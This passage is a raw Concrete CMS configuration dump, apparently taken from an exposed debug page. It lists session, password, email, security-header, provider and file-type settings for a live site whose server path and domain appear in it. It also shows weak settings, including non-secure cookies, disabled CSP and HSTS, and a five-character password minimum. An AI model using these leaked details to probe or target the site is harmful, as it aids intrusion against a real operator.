"enable" => false ] "delete_threshold" => 7 ] "messenger" => array:6 [ "default_bus" => "default" "buses" => array:1 [ "default" => array:2 [ "default_middleware" => true "middleware" => [] ] ] "routing" => array:1 [ "Concrete\Core\Foundation\Command\AsyncCommandInterface" => array:1 [ 0 => "async" ] ] "transports" => array:2 [ 0 => "Concrete\Core\Messenger\Transport\DefaultAsync\DefaultAsyncTransport" 1 => "Concrete\Core\Messenger\Transport\DefaultAsync\DefaultSyncTransport" ] "consume" => array:1 [ "method" => "app" ] "polling_batch" => array:5 [ "default" => 10 "rescan_file" => 5 "delete_page" => 100 "delete_page_forever" => 100 "copy_page" => 10 ] ] "events" => array:1 [ "broadcast" => array:1 [ "driver" => "" ] ] "log" => array:6 [ "emails" => true "errors" => true "spam" => false "api" => false "enable_dashboard_report" => true "configuration" => array:3 [ "mode" => "simple" "simple" => array:3 [ "core_logging_level" => "NOTICE" "handler" => "database" "file" => array:1 [ "file" => "" ] ] "advanced" => array:1 [ "configuration" => [] ] ] ] "jobs" => array:1 [ "enable_scheduling" => true ] "filesystem" => array:2 [ "temp_directory" => null "permissions" => array:2 [ "file" => 438 "directory" => 511 ] ] "email" => array:7 [ "enabled" => true "default" => array:2 [ "address" => "********************************" "name" => "" ] "form_block" => array:1 [ "address" => "***" ] "forgot_password" => array:2 [ "address" => "***" "name" => null ] "register_notification" => array:2 [ "address" => null "name" => null ] "validate_registration" => array:2 [ "address" => "***" "name" => null ] "workflow_notification" => array:2 [ "address" => "***" "name" => null ] ] "form" => array:1 [ "store_form_submissions" => "auto" ] "marketplace" => array:6 [ "enabled" => true "request_timeout" => 30 "token" => null "site_token" => null "intelligent_search" => true "log_requests" => false ] "external" => array:2 [ "intelligent_search_help" => true "news" => true ] "misc" => array:19 [ "user_timezones" => false "package_backup_directory" => "/home/ui9cnv08/domains/realnet.cloud/public_html/application/files/trash" "display_package_delete_button" => true "enable_progressive_page_reindex" => true "mobile_theme_id" => 0 "sitemap_approve_immediately" => true "enable_translate_locale_en_us" => false "page_search_index_lifetime" => 259200 "enable_trash_can" => true "default_jpeg_image_compression" => 80 "default_png_image_compression" => 9 "default_thumbnail_format" => "auto" "inplace_image_operations_limit" => 4194304 "basic_thumbnailer_generation_strategy" => "now" "require_version_comments" => false "enable_move_blocktypes_across_sets" => false "generator_tag_display_in_header" => true "login_redirect" => "HOMEPAGE" "access_entity_updated" => 1680618996 ] "theme" => array:2 [ "compress_preprocessor_output" => true "generate_less_sourcemap" => false ] "updates" => array:6 [ "enable_auto_update_packages" => false "enable_permissions_protection" => true "check_threshold" => 172800 "services" => array:2 [ "get_available_updates" => "https://marketplace.concretecms.com/tools/update_core" "inspect_update" => "https://marketplace.concretecms.com/tools/inspect_update" ] "skip_core" => false "skip_packages" => [] ] "paths" => array:2 [ "trash" => "/!trash" "drafts" => "/!drafts" ] "icons" => array:5 [ "page_template" => array:2 [ "width" => 120 "height" => 90 ] "theme_thumbnail" => array:2 [ "width" => 120 "height" => 90 ] "file_manager_listing" => array:3 [ "handle" => "file_manager_listing" "width" => 120 "height" => 120 ] "file_manager_detail" => array:3 [ "handle" => "file_manager_detail" "width" => 500 "height" => 500 ] "user_avatar" => array:3 [ "width" => 80 "height" => 80 "default" => "/concrete/images/avatar_none.png" ] ] "file_manager" => array:6 [ "images" => array:6 [ "use_exif_data_to_rotate_images" => false "manipulation_library" => "gd" "create_high_dpi_thumbnails" => true "preview_image_size" => "small" "preview_image_popover" => true "svg_sanitization" => array:3 [ "action" => "sanitize" "allowed_tags" => "" "allowed_attributes" => "" ] ] "items_per_page_options" => array:5 [ 0 => 10 1 => 25 2 => 50 3 => 100 4 => 250 ] "results" => 50 "restrict_max_width" => null "restrict_max_height" => null "dont_resize_mimetypes" => "image/gif" ] "search_users" => array:1 [ "results" => 10 ] "sitemap_xml" => array:3 [ "file" => "sitemap.xml" "frequency" => "weekly" "priority" => 0.5 ] "accessibility" => array:3 [ "toolbar_titles" => false "toolbar_large_font" => false "toolbar_tooltips" => true ] "i18n" => array:3 [ "choose_language_login" => false "auto_install_package_languages" => true "community_translation" => array:5 [ "entry_point" => "https://translate.concretecms.org/api" "api_token" => "" "progress_limit" => 60 "cache_lifetime" => 3600 "package_url" => "https://translate.concretecms.org/translate/package" ] ] "urls" => array:11 [ "concrete" => "http://marketplace.concretecms.com" "concrete_secure" => "https://marketplace.concretecms.com" "concrete_community" => "https://community.concretecms.com" "background_feed" => "//backgroundimages.concretecms.com/wallpaper" "privacy_policy" => "//www.concretecms.com/about/legal/privacy-policy" "background_feed_secure" => "https://backgroundimages.concrete5.org/wallpaper" "background_info" => "http://backgroundimages.concretecms.com/get_image_data.php" "videos" => "https://www.youtube.com/user/concrete5cms/videos" "activity_slots" => "https://marketing.concretecms.com/ccm/marketing/activity_slots" "help" => array:5 [ "developer" => "https://documentation.concretecms.org/developers" "user" => "https://documentation.concretecms.org/user-guide" "forum" => "https://forums.concretecms.org" "support" => "https://www.concretecms.com/support/hiring-help" "remote_search" => "https://documentation.concretecms.org/ccm/documentation/remote_search" ] "paths" => array:2 [ "site_page" => "/private/sites" "marketplace" => array:10 [ "projects" => "/profile/projects/" "connect" => "/marketplace/connect" "connect_success" => "/marketplace/connect/-/connected" "connect_validate" => "/marketplace/connect/-/validate" "connect_new_token" => "/marketplace/connect/-/generate_token" "checkout" => "/cart/-/add" "purchases" => "/marketplace/connect/-/get_available_licenses" "item_information" => "/marketplace/connect/-/get_item_information" "item_free_license" => "/marketplace/connect/-/enable_free_license" "remote_item_list" => "/marketplace/" ] ] ] "white_label" => array:4 [ "logo" => false "name" => false "background_image" => "feed" "background_url" => null ] "session" => array:9 [ "name" => "CONCRETE" "handler" => "file" "redis" => array:1 [ "database" => 1 ] "save_path" => null "max_lifetime" => 7200 "gc_probability" => 1 "gc_divisor" => 100 "cookie" => array:7 [ "cookie_path" => false "cookie_lifetime" => 0 "cookie_domain" => false "cookie_secure" => false "cookie_httponly" => true "cookie_raw" => false "cookie_samesite" => null ] "remember_me" => array:1 [ "lifetime" => 1209600 ] ] "user" => array:8 [ "registration" => array:10 [ "enabled" => false "type" => "disabled" "captcha" => true "email_registration" => false "display_username_field" => true "display_confirm_password_field" => true "validate_email" => false "validate_email_threshold" => 5184000 "approval" => false "notification" => false ] "edit_profile" => array:1 [ "display_username_field" => true ] "group" => array:1 [ "badge" => array:1 [ "default_point_value" => 50 ] ] "username" => array:3 [ "maximum" => 64 "minimum" => 3 "allowed_characters" => array:4 [ "boundary" => "A-Za-z0-9" "middle" => "A-Za-z0-9_\." "requirement_string" => "A username may only contain letters, numbers, dots (not at the beginning/end), and underscores (not at the beginning/end)." "error_string" => "A username may only contain letters, numbers, dots (not at the beginning/end), and underscores (not at the beginning/end)." ] ] "password" => array:12 [ "maximum" => 128 "minimum" => 5 "required_special_characters" => 0 "required_lower_case" => 0 "required_upper_case" => 0 "reuse" => 0 "custom_regex" => [] "hash_algorithm" => "2y" "hash_options" => [] "hash_portable" => false "hash_cost_log2" => 12 "legacy_salt" => "" ] "email" => array:2 [ "test_mx_record" => false "strict" => true ] "private_messages" => array:2 [ "throttle_max" => 20 "throttle_max_timespan" => 15 ] "deactivation" => array:4 [ "enable_login_threshold_deactivation" => false "login" => array:1 [ "threshold" => 120 ] "authentication_failure" => array:3 [ "enabled" => false "amount" => 5 "duration" => 300 ] "message" => "This user is inactive. Please contact us regarding this account." ] ] "spam" => array:2 [ "allowlist_group" => 0 "notify_email" => "" ] "calendar" => array:1 [ "colors" => array:2 [ "text" => "#ffffff" "background" => "#3A87AD" ] ] "security" => array:2 [ "session" => array:3 [ "invalidate_on_user_agent_mismatch" => true "invalidate_on_ip_mismatch" => true "invalidate_inactive_users" => array:2 [ "enabled" => false "time" => 300 ] ] "misc" => array:3 [ "content_security_policy" => false "strict_transport_security" => false "x_frame_options" => "SAMEORIGIN" ] ] "permissions" => array:2 [ "forward_to_login" => true "model" => "simple" ] "seo" => array:13 [ "exclude_words" => "a, an, as, at, before, but, by, for, from, is, in, into, like, of, off, on, onto, per, since, than, the, this, that, to, up, via, with" "url_rewriting" => false "url_rewriting_all" => false "redirect_to_canonical_url" => false "canonical_url" => null "canonical_url_alternative" => null "trailing_slash" => false "title_format" => "%2$s :: %1$s" "title_segment_separator" => " :: " "page_path_separator" => "-" "group_name_separator" => " / " "segment_max_length" => 128 "paging_string" => "ccm_paging_p" ] "statistics" => array:1 [ "track_downloads" => true ] "limits" => array:4 [ "sitemap_pages" => 100 "page_search_index_batch" => 200 "job_queue_batch" => 10 "style_customizer" => array:2 [ "size_min" => -50 "size_max" => 200 ] ] "page" => array:1 [ "search" => array:1 [ "always_reindex" => false ] ] "editor" => array:1 [ "plugins" => array:1 [ "selected" => [] ] ] "composer" => array:1 [ "idle_timeout" => 1 ] "api" => array:2 [ "enabled" => false "grant_types" => array:4 [ "client_credentials" => true "authorization_code" => true "password_credentials" => false "refresh_token" => true ] ] "notification" => array:2 [ "server_sent_events" => false "mercure" => array:1 [ "jwt" => array:2 [ "publisher" => array:1 [ "expires_at" => "+30 minutes" ] "subscriber" => array:1 [ "expires_at" => "+30 minutes" ] ] ] ] "mutex" => array:2 [ "semaphore" => array:2 [ "priority" => 100 "class" => "Concrete\Core\System\Mutex\SemaphoreMutex" ] "file_lock" => array:2 [ "priority" => 50 "class" => "Concrete\Core\System\Mutex\FileLockMutex" ] ] "social" => array:1 [ "additional_services" => [] ] "version_db_installed" => "20220908074900" ] |
app | array:19 [ "debug" => false "namespace" => "Application" "aliases" => array:69 [ "Area" => "\Concrete\Core\Area\Area" "Asset" => "\Concrete\Core\Asset\Asset" "AssetList" => "\Concrete\Core\Asset\AssetList" "AttributeSet" => "\Concrete\Core\Attribute\Set" "AuthenticationType" => "\Concrete\Core\Authentication\AuthenticationType" "Block" => "\Concrete\Core\Block\Block" "BlockType" => "\Concrete\Core\Block\BlockType\BlockType" "BlockTypeList" => "\Concrete\Core\Block\BlockType\BlockTypeList" "BlockTypeSet" => "\Concrete\Core\Block\BlockType\Set" "Cache" => "\Concrete\Core\Cache\Cache" "Request" => "\Concrete\Core\Http\Request" "CacheLocal" => "\Concrete\Core\Cache\CacheLocal" "Collection" => "\Concrete\Core\Page\Collection\Collection" "CollectionAttributeKey" => "\Concrete\Core\Attribute\Key\CollectionKey" "CollectionVersion" => "\Concrete\Core\Page\Collection\Version\Version" "ConcreteAuthenticationTypeController" => "\Concrete\Authentication\Concrete\Controller" "Controller" => "\Concrete\Core\Controller\Controller" "Conversation" => "\Concrete\Core\Conversation\Conversation" "ConversationEditor" => "\Concrete\Core\Conversation\Editor\Editor" "ConversationFlagType" => "\Concrete\Core\Conversation\FlagType\FlagType" "ConversationMessage" => "\Concrete\Core\Conversation\Message\Message" "ConversationRatingType" => "\Concrete\Core\Conversation\Rating\Type" "Environment" => "\Concrete\Core\Foundation\Environment" "FacebookAuthenticationTypeController" => "\Concrete\Authentication\Facebook\Controller" "File" => "\Concrete\Core\File\File" "FileAttributeKey" => "\Concrete\Core\Attribute\Key\FileKey" "FileImporter" => "\Concrete\Core\File\Importer" "FileList" => "\Concrete\Core\File\FileList" "FilePermissions" => "\Concrete\Core\Legacy\FilePermissions" "FileSet" => "\Concrete\Core\File\Set\Set" "GlobalArea" => "\Concrete\Core\Area\GlobalArea" "Group" => "\Concrete\Core\User\Group\Group" "GroupList" => "\Concrete\Core\User\Group\GroupList" "GroupSet" => "\Concrete\Core\User\Group\GroupSet" "GroupSetList" => "\Concrete\Core\User\Group\GroupSetList" "GroupTree" => "\Concrete\Core\Tree\Type\Group" "GroupTreeNode" => "\Concrete\Core\Tree\Node\Type\Group" "Job" => "\Concrete\Core\Job\Job" "JobSet" => "\Concrete\Core\Job\Set" "Loader" => "\Concrete\Core\Legacy\Loader" "Localization" => "\Concrete\Core\Localization\Localization" "Marketplace" => "\Concrete\Core\Marketplace\Marketplace" "Package" => "\Concrete\Core\Package\Package" "Page" => "\Concrete\Core\Page\Page" "PageCache" => "\Concrete\Core\Cache\Page\PageCache" "PageController" => "\Concrete\Core\Page\Controller\PageController" "PageEditResponse" => "\Concrete\Core\Page\EditResponse" "PageList" => "\Concrete\Core\Page\PageList" "PageTemplate" => "\Concrete\Core\Page\Template" "PageTheme" => "\Concrete\Core\Page\Theme\Theme" "PageType" => "\Concrete\Core\Page\Type\Type" "PermissionAccess" => "\Concrete\Core\Permission\Access\Access" "PermissionKey" => "\Concrete\Core\Permission\Key\Key" "PermissionKeyCategory" => "\Concrete\Core\Permission\Category" "Permissions" => "\Concrete\Core\Permission\Checker" "Redirect" => "\Concrete\Core\Routing\Redirect" "RedirectResponse" => "\Concrete\Core\Routing\RedirectResponse" "Response" => "\Concrete\Core\Http\Response" "Router" => "\Concrete\Core\Routing\Router" "SinglePage" => "\Concrete\Core\Page\Single" "Stack" => "\Concrete\Core\Page\Stack\Stack" "StackList" => "\Concrete\Core\Page\Stack\StackList" "StartingPointPackage" => "\Concrete\Core\Package\StartingPointPackage" "TaskPermission" => "\Concrete\Core\Legacy\TaskPermission" "User" => "\Concrete\Core\User\User" "UserAttributeKey" => "\Concrete\Core\Attribute\Key\UserKey" "UserList" => "\Concrete\Core\User\UserList" "View" => "\Concrete\Core\View\View" "Workflow" => "\Concrete\Core\Workflow\Workflow" ] "providers" => array:59 [ "core_system" => "\Concrete\Core\System\SystemServiceProvider" "core_events" => "\Concrete\Core\Events\EventsServiceProvider" "core_logging" => "\Concrete\Core\Logging\LoggingServiceProvider" "core_router" => "Concrete\Core\Routing\RoutingServiceProvider" "core_database" => "\Concrete\Core\Database\DatabaseServiceProvider" "core_messenger" => "\Concrete\Core\Messenger\MessengerServiceProvider" "core_cache" => "\Concrete\Core\Cache\CacheServiceProvider" "core_file" => "\Concrete\Core\File\FileServiceProvider" "core_encryption" => "\Concrete\Core\Encryption\EncryptionServiceProvider" "core_validation" => "\Concrete\Core\Validation\ValidationServiceProvider" "core_localization" => "\Concrete\Core\Localization\LocalizationServiceProvider" "core_exporter" => "\Concrete\Core\Export\ExportServiceProvider" "core_multilingual" => "\Concrete\Core\Multilingual\MultilingualServiceProvider" "core_feed" => "\Concrete\Core\Feed\FeedServiceProvider" "core_html" => "\Concrete\Core\Html\HtmlServiceProvider" "core_editor" => "\Concrete\Core\Editor\EditorServiceProvider" "core_mail" => "\Concrete\Core\Mail\MailServiceProvider" "core_application" => "\Concrete\Core\Application\ApplicationServiceProvider" "core_utility" => "\Concrete\Core\Utility\UtilityServiceProvider" "core_content_importer" => "\Concrete\Core\Backup\ContentImporter\ContentImporterServiceProvider" "core_manager_grid_framework" => "\Concrete\Core\Page\Theme\GridFramework\ManagerServiceProvider" "core_manager_pagination_view" => "\Concrete\Core\Search\Pagination\View\ManagerServiceProvider" "core_manager_page_type" => "\Concrete\Core\Page\Type\ManagerServiceProvider" "core_manager_layout_preset_provider" => "\Concrete\Core\Area\Layout\Preset\Provider\ManagerServiceProvider" "core_manager_search_fields" => "\Concrete\Core\Search\Field\ManagerServiceProvider" "core_permissions" => "\Concrete\Core\Permission\PermissionServiceProvider" "core_automation" => "\Concrete\Core\Command\Task\ServiceProvider" "core_api" => "Concrete\Core\Api\ApiServiceProvider" "core_form" => "\Concrete\Core\Form\FormServiceProvider" "core_session" => "\Concrete\Core\Session\SessionServiceProvider" "core_cookie" => "\Concrete\Core\Cookie\CookieServiceProvider" "core_http" => "\Concrete\Core\Http\HttpServiceProvider" "core_whoops" => "\Concrete\Core\Error\Provider\WhoopsServiceProvider" "core_element" => "\Concrete\Core\Filesystem\FilesystemServiceProvider" "core_notification" => "\Concrete\Core\Notification\NotificationServiceProvider" "core_mercure" => "\Concrete\Core\Notification\Events\MercureServiceProvider" "core_package" => "\Concrete\Core\Package\PackageServiceProvider" "core_url" => "\Concrete\Core\Url\UrlServiceProvider" "core_devices" => "\Concrete\Core\Device\DeviceServiceProvider" "core_user" => "\Concrete\Core\User\UserServiceProvider" "core_service_manager" => "\Concrete\Core\Service\Manager\ServiceManagerServiceProvider" "core_site" => "\Concrete\Core\Site\ServiceProvider" "core_search" => "Concrete\Core\Search\SearchServiceProvider" "core_geolocator" => "Concrete\Core\Geolocator\GeolocatorServiceProvider" "core_calendar" => "Concrete\Core\Calendar\CalendarServiceProvider" "core_summary" => "\Concrete\Core\Summary\ServiceProvider" "core_boards" => "\Concrete\Core\Board\ServiceProvider" "core_page" => "Concrete\Core\Page\PageServiceProvider" "core_oauth" => "\Concrete\Core\Authentication\Type\OAuth\ServiceProvider" "core_auth_community" => "\Concrete\Core\Authentication\Type\Community\ServiceProvider" "core_auth_google" => "\Concrete\Core\Authentication\Type\Google\ServiceProvider" "core_auth_external_concrete" => "\Concrete\Core\Authentication\Type\ExternalConcrete\ServiceProvider" "core_validator" => "\Concrete\Core\Validator\ValidatorServiceProvider" "core_validator_password" => "\Concrete\Core\Validator\PasswordValidatorServiceProvider" "core_validator_user_name" => "\Concrete\Core\Validator\UserNameValidatorServiceProvider" "core_validator_user_email" => "\Concrete\Core\Validator\UserEmailValidatorServiceProvider" "core_attribute" => "\Concrete\Core\Attribute\AttributeServiceProvider" "core_express" => "\Concrete\Core\Express\ExpressServiceProvider" "core_usagetracker" => "\Concrete\Core\Statistics\UsageTracker\ServiceProvider" ] "facades" => array:15 [ "Core" => "\Concrete\Core\Support\Facade\Application" "Session" => "\Concrete\Core\Support\Facade\Session" "Cookie" => "\Concrete\Core\Support\Facade\Cookie" "Database" => "\Concrete\Core\Support\Facade\Database" "ORM" => "\Concrete\Core\Support\Facade\DatabaseORM" "Events" => "\Concrete\Core\Support\Facade\Events" "Express" => "\Concrete\Core\Support\Facade\Express" "Route" => "\Concrete\Core\Support\Facade\Route" "Site" => "\Concrete\Core\Support\Facade\Site" "UserInfo" => "\Concrete\Core\Support\Facade\UserInfo" "Element" => "\Concrete\Core\Support\Facade\Element" "Log" => "\Concrete\Core\Support\Facade\Log" "Image" => "\Concrete\Core\Support\Facade\Image" "Config" => "\Concrete\Core\Support\Facade\Config" "URL" => "\Concrete\Core\Support\Facade\Url" ] "entity_namespaces" => array:1 [ "calendar" => "Concrete\Core\Entity\Calendar" ] "package_items" => array:37 [ 0 => "antispam_library" 1 => "attribute_key_category" 2 => "attribute_key" 3 => "attribute_set" 4 => "attribute_type" 5 => "authentication_type" 6 => "block_type" 7 => "block_type_set" 8 => "express_entity" 9 => "captcha_library" 10 => "container" 11 => "content_editor_snippet" 12 => "conversation_rating_type" 13 => "geolocator_library" 14 => "group" 15 => "group_set" 16 => "ip_access_control_category" 17 => "job" 18 => "mail_importer" 19 => "permission_access_entity_type" 20 => "permission_key" 21 => "permission_key_category" 22 => "page_template" 23 => "site_type" 24 => "page_type" 25 => "page_type_composer_control_type" 26 => "page_type_publish_target_type" 27 => "single_page" 28 => "storage_location_type" 29 => "theme" 30 => "workflow" 31 => "workflow_progress_category" 32 => "workflow_type" 33 => "external_file_provider_type" 34 => "image_editor" 35 => "task" 36 => "task_set" ] "importer_routines" => array:60 [ 0 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportSiteTypesRoutine" 1 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportGroupsRoutine" 2 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportSinglePageStructureRoutine" 3 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportStacksStructureRoutine" 4 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportBlockTypesRoutine" 5 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportBlockTypeSetsRoutine" 6 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportConversationEditorsRoutine" 7 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportConversationRatingTypesRoutine" 8 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportConversationFlagTypesRoutine" 9 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPageTypePublishTargetTypesRoutine" 10 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPageTypeComposerControlTypesRoutine" 11 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportBannedWordsRoutine" 12 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportSocialLinksRoutine" 13 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportDesignTagsRoutine" 14 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportTreesRoutine" 15 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportFileImportantThumbnailTypesRoutine" 16 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportBoardDataSourcesRoutine" 17 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportBoardTemplatesRoutine" 18 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportBoardSlotTemplatesRoutine" 19 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportAttributeCategoriesRoutine" 20 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportAttributeTypesRoutine" 21 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportWorkflowTypesRoutine" 22 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportWorkflowProgressCategoriesRoutine" 23 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportWorkflowsRoutine" 24 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportExpressEntitiesRoutine" 25 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportAttributesRoutine" 26 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportAttributeSetsRoutine" 27 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportExpressAssociationsRoutine" 28 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportExpressFormsRoutine" 29 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportExpressRelationsRoutine" 30 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportThemesRoutine" 31 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPermissionKeyCategoriesRoutine" 32 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPermissionAccessEntityTypesRoutine" 33 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPermissionsRoutine" 34 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportTasksRoutine" 35 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportTaskSetsRoutine" 36 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportJobsRoutine" 37 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportJobSetsRoutine" 38 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPageTemplatesRoutine" 39 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportContainersRoutine" 40 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportSummaryCategoriesRoutine" 41 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportSummaryFieldsRoutine" 42 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportSummaryTemplatesRoutine" 43 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPageTypesBaseRoutine" 44 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPageStructureRoutine" 45 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportBoardsRoutine" 46 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPageFeedsRoutine" 47 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPageTypeTargetsRoutine" 48 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPageTypeDefaultsRoutine" 49 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportSiteTypeSkeletonsRoutine" 50 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportSinglePageContentRoutine" 51 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportStacksContentRoutine" 52 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPageContentRoutine" 53 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportPackagesRoutine" 54 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportConfigValuesRoutine" 55 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportSystemCaptchaLibrariesRoutine" 56 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportSystemContentEditorSnippetsRoutine" 57 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportGeolocatorsRoutine" 58 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\ImportIpAccessControlCategoriesRoutine" 59 => "Concrete\Core\Backup\ContentImporter\Importer\Routine\PopulateBoardInstancesRoutine" ] "routes" => [] "theme_paths" => array:8 [ "/dashboard" => "dashboard" "/dashboard/*" => "dashboard" "/frontend/install" => "concrete" "/login" => "concrete" "/oauth/authorize" => "concrete" "/register" => "concrete" "/frontend/maintenance_mode" => "concrete" "/upgrade" => "concrete" ] "file_types" => array:39 [ "JPEG" => array:5 [ 0 => "jpg,jpeg,jpe" 1 => 1 2 => "image" 3 => "image" 4 => "image" ] "GIF" => array:5 [ 0 => "gif" 1 => 1 2 => "image" 3 => "image" 4 => "image" ] "PNG" => array:5 [ 0 => "png" 1 => 1 2 => "image" 3 => "image" 4 => "image" ] "WebP" => array:5 [ 0 => "webp" 1 => 1 2 => "image" 3 => "image" 4 => "image" ] "Windows Bitmap" => array:3 [ 0 => "bmp" 1 => 1 2 => "image" ] "TIFF" => array:3 [ 0 => "tif,tiff" 1 => 1 2 => "image" ] "HTML" => array:2 [ 0 => "htm,html" 1 => 5 ] "Flash" => array:3 [ 0 => "swf" 1 => 1 2 => "image" ] "Icon" => array:2 [ 0 => "ico" 1 => 1 ] "SVG" => array:4 [ 0 => "svg" 1 => 1 2 => false 3 => "image" ] "Windows Video" => array:4 [ 0 => "asf,wmv" 1 => 2 2 => false 3 => "video" ] "Quicktime" => array:4 [ 0 => "mov,qt" 1 => 2 2 => false 3 => "video" ] "AVI" => array:4 [ 0 => "avi" 1 => 2 2 => false 3 => "video" ] "3GP" => array:4 [ 0 => "3gp" 1 => 2 2 => false 3 => "video" ] "Plain Text" => array:4 [ 0 => "txt" 1 => 3 2 => false 3 => "text" ] "CSV" => array:4 [ 0 => "csv" 1 => 3 2 => false 3 => "text" ] "XML" => array:2 [ 0 => "xml" 1 => 3 ] "PHP" => array:2 [ 0 => "php" 1 => 3 ] "MS Word" => array:2 [ 0 => "doc,docx" 1 => 5 ] "Stylesheet" => array:2 [ 0 => "css" 1 => 3 ] "MP4" => array:4 [ 0 => "mp4" 1 => 2 2 => false 3 => "video" ] "FLV" => array:3 [ 0 => "flv" 1 => 2 2 => "flv" ] "MP3" => array:4 [ 0 => "mp3" 1 => 4 2 => false 3 => "audio" ] "MP4 Audio" => array:4 [ 0 => "m4a" 1 => 4 2 => false 3 => "audio" ] "Realaudio" => array:2 [ 0 => "ra,ram" 1 => 4 ] "Windows Audio" => array:2 [ 0 => "wma" 1 => 4 ] "Rich Text" => array:2 [ 0 => "rtf" 1 => 5 ] "JavaScript" => array:2 [ 0 => "js" 1 => 3 ] "PDF" => array:2 [ 0 => "pdf" 1 => 5 ] "Photoshop" => array:2 [ 0 => "psd" 1 => 1 ] "MPEG" => array:2 [ 0 => "mpeg,mpg" 1 => 2 ] "MS Excel" => array:2 [ 0 => "xla,xls,xlsx,xlt,xlw" 1 => 5 ] "MS Powerpoint" => array:2 [ 0 => "pps,ppt,pptx,pot" 1 => 5 ] "TAR Archive" => array:2 [ 0 => "tar" 1 => 6 ] "Zip Archive" => array:2 [ 0 => "zip" 1 => 6 ] "GZip Archive" => array:2 [ 0 => "gz,gzip" 1 => 6 ] "OGG" => array:4 [ 0 => "ogg" 1 => 4 2 => false 3 => "audio" ] "OGG Video" => array:4 [ 0 => "ogv" 1 => 2 2 => false 3 => "video" ] "WebM" => array:4 [ 0 => "webm" 1 => 2 2 => false 3 => "video" ] ] "importer_attributes" => array:3 [ "width" => array:3 [ 0 => "Width" 1 => "NUMBER" 2 => false ] "height" => array:3 [ 0 => "Height" 1 => "NUMBER" 2 => false ] "duration" => array:3 [ 0 => "Duration" 1 => "NUMBER" 2 => false ] ] "import_processors" => array:7 [ "ccm.file.exists" => "Concrete\Core\File\Import\Processor\FileExistingValidator" "ccm.file.extension" => "Concrete\Core\File\Import\Processor\FileExtensionValidator" "ccm.image.autorotate" => "Concrete\Core\File\Import\Processor\ImageAutorotator" "ccm.image.svg" => "Concrete\Core\File\Import\Processor\SvgProcessor" "ccm.image.resize" => "Concrete\Core\File\Import\Processor\ImageSizeConstrain" "ccm.image.thumbnails" => "Concrete\Core\File\Import\Processor\ThumbnailGenerator" "ccm.image.exif_data" => "Concrete\Core\File\Import\Processor\ExifDataExtractor" ] "assets" => array:34 [ "jquery" => array:1 [ 0 => array:3 [ 0 => "javascript" 1 => "js/jquery.js" 2 => array:3 [ "position" => "H" "minify" => false "combine" => false ] ] ] "vue" => array:1 [ 0 => array:3 [ 0 => "javascript" 1 => "js/vue.js" 2 => array:2 [ "minify" => false "combine" => false ] ] ] "bootstrap" => array:1 [ 0 => array:3 [ 0 => "javascript" 1 => "js/bootstrap.js" 2 => array:4 [ "position" => "F" "minify" => false "combine" => false "version" => "5.0.0" ] ] ] "moment" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/moment.js" 2 => array:3 [ "minify" => false "combine" => false "version" => "2.24.0" ] ] 1 => array:2 [ 0 => "javascript-localized" 1 => "/ccm/assets/localization/moment/js" ] ] "ckeditor" => array:1 [ 0 => array:3 [ 0 => "javascript" 1 => "js/ckeditor/ckeditor.js" 2 => array:2 [ "minify" => false "combine" => false ] ] ] "ckeditor/concrete" => array:2 [ 